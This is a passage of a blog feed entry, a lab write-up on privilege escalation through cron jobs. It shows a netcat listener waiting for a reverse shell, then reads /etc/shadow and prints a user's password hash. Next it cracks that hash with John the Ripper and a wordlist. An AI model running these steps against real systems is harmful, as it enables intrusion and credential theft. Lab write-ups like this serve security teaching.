&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  I forgot to check if the script file was set to executable or not, and I kept
  waiting for the reverse shell and it never connected back, I wasted hours
  googling, modifying my bash shell, trying to figure out why my cron job script
  isn’t working. I was about to give up until I noticed the permissions…&lt;br /&gt;&lt;br /&gt;I
  feel dumb for wasting hours on something so simple, but well we all learn from
  our mistakes, and am no pro anyways.&lt;br /&gt;&lt;br /&gt;So, I made the file
  executable:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;chmod +x backup.sh&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;430&quot;
      data-original-width=&quot;1161&quot;
      height=&quot;238&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgMy7iwYWPPCYORHMk_xqlLuDftF4p-SOtRS3uwW-s4vdDL3LFwI_Ntl7mwCoI3cqpHDn66vfglA1fAZzzywzhjqi_qRb-fchWiNyXDAu0LnCjBZtEogK5z-6L0cB_Dp22KbNniMyYw-1jDNttcRAgFNGVAxb4USg-7bXcr7IOzvxTrIUyGoSf9PeJuw/w640-h238/reverse.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  In the other terminal, I started netcat listener and waited for the script to
  run...
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc -nvlp 4444&lt;/b&gt; &lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;423&quot;
      data-original-width=&quot;1130&quot;
      height=&quot;240&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCVX2FHt50tMtpxFPbtAE92lNrbxuE3X3IM95kZ0YkBHU-x6u_XcwhThApPifgUB2tNDqqr6ILxIpDzhfWz1X0rrro0VpCxLM4B5TMYqaMMtvBGwuTu3eiPCCVqRifGdb83KtHcJTSOyeCWIyKjz_3ssOkCI1hUAnAHl5qKKi13ep7nZvaNtSLNXzTww/w640-h240/reverse-2.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Now, we can see the content of &lt;b&gt;flag5.txt&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;176&quot;
      data-original-width=&quot;531&quot;
      height=&quot;212&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHwhw2DfCZJuc1dvdLjUvwuNLp0FCXnilh4s41ADyT39WHhydW_3SJ-1PjgL74R4O2VQ1C0_I2v1k_u_-BM9MxoZvJcEHKDEGURbxt8BhNJs9WHDQ9WAZlkdF9PvpzMDMoZCdKA0qGa6aW-2b2oo4dsT8UzrixCltDIKfF6WOl6ZmWZwex_tENuSO8Mg/w640-h212/flag5.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script
  async=&quot;&quot;
  crossorigin=&quot;anonymous&quot;
  src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
&gt;&lt;/script&gt;
&lt;!--4 jan 2k22--&gt;
&lt;ins
  class=&quot;adsbygoogle&quot;
  data-ad-client=&quot;ca-pub-5520475398835856&quot;
  data-ad-format=&quot;auto&quot;
  data-ad-slot=&quot;6887909224&quot;
  data-full-width-responsive=&quot;true&quot;
  style=&quot;display: block;&quot;
&gt;&lt;/ins&gt;
&lt;script&gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;# What is Matt’s password?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ans&lt;/b&gt;: &amp;nbsp;&lt;br /&gt;&lt;br /&gt;As
  we already have root privileges, we can access the shadow file and try to
  crack Matt’s password using John.&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre&gt;
root@ip-10-10-32-249:/home/ubuntu# cat /etc/shadow | grep matt
cat /etc/shadow | grep matt
matt:$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.:18798:0:99999:7:::
root@ip-10-10-32-249:/home/ubuntu# 




&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;pre&gt;

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ nano mattpassword.txt                                                      
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ sudo john --wordlist=/home/hackerboy/Documents/rockyou.txt mattpassword.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status
123456           (?)     
1g 0:00:00:00 DONE (2023-01-07 11:29) 1.492g/s 382.0p/s 382.0c/s 382.0C/s 123456..freedom
Use the &quot;--show&quot; option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ cat mattpassword.txt
$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ sudo john --show mattpassword.txt                                           
?:123456

1 password hash cracked, 0 left
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ 

&lt;/pre&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;b&gt;cat /etc/shadow | grep&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;157&quot;
      data-original-width=&quot;1044&quot;
      height=&quot;96&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqPym-O9hx7QXL80YRx9w5ik5hRbDtn2I06e8wzE-8bk_nfnwZhuOy8dhEc8bpCpeNUkfNW9gJCa3odIqZTZhNiRN7cbjaH5J94sPTo2Az6KizKgXBmi3nsnLKI8PLOF5V3hAa1X0-rcWDljZ-8DanJq0xV_29b4Cm6zhvvReRcQYd0ucJ2AE2sglgEg/w640-h96/matt.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://blog.hackingtruth.org&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Privilege Escalation: Cron Jobs&quot;
      border=&quot;0&quot;
      data-original-height=&quot;399&quot;
      data-original-width=&quot;870&quot;
      height=&quot;294&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOZDWYROr1tmU5zuwQ29oS4jC0ZtD0sxEvogRQuIj2_71z2B3ltqcvmtJu1vFSkR8toXUjn2Yd54vYrsEd91C-2Yb218Tm-DPTEjOjMCnuWgb-mX9kWR94am5ZiVT_d-F3oKyH004owY6FC31zhjfgjFIm09zHhXlfZ3SxNPmCXWtqZU_0t4HXYyBR9Q/w640-h294/john.png&quot;
      title=&quot;Privilege Escalation: Cron Jobs&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

&lt;h4 style=&quot;text-align: left;&quot;&gt;Disclaimer&lt;/h4&gt;

All tutorials are for informational and educational purposes only and have been
made using our own routers, servers, websites and other vulnerable free
resources. we do not contain any illegal activity. We believe that ethical
hacking, information security and cyber security should be familiar subjects to
anyone using digital information and computers. Hacking Truth is against misuse
of the information and we strongly suggest against it. Please regard the word
hacking as ethical hacking or penetration testing every time this word is used.
We do not promote, encourage, support or excite any illegal activity or hacking.

&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/1094685930232645637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2023/01/privilege-escalation-cron-jobs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1094685930232645637'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/1094685930232645637'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2023/01/privilege-escalation-cron-jobs.html' title='Privilege Escalation: Cron Jobs'/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj92jiLu6c1GKfbexW_ZGyIZ1H0RfxW00ds4Xnjn5p8ml-z66OF1L7otfmPZDb8spF_oXK4bw9IjkDDnCeHgg7zX-2Iu5itNgarEx2P4xPqHkK6Zivhffm1QMyVGs3L_jIA_5GT7gK-Ohu2KlLojr1v48w1488yxBUIe3kCoatnExCVADQsfZR43rJ7_w/s72-w640-h376-c/cron-jobs.png" height="72" width="72"/><thr:total>0</thr:total></entry></feed>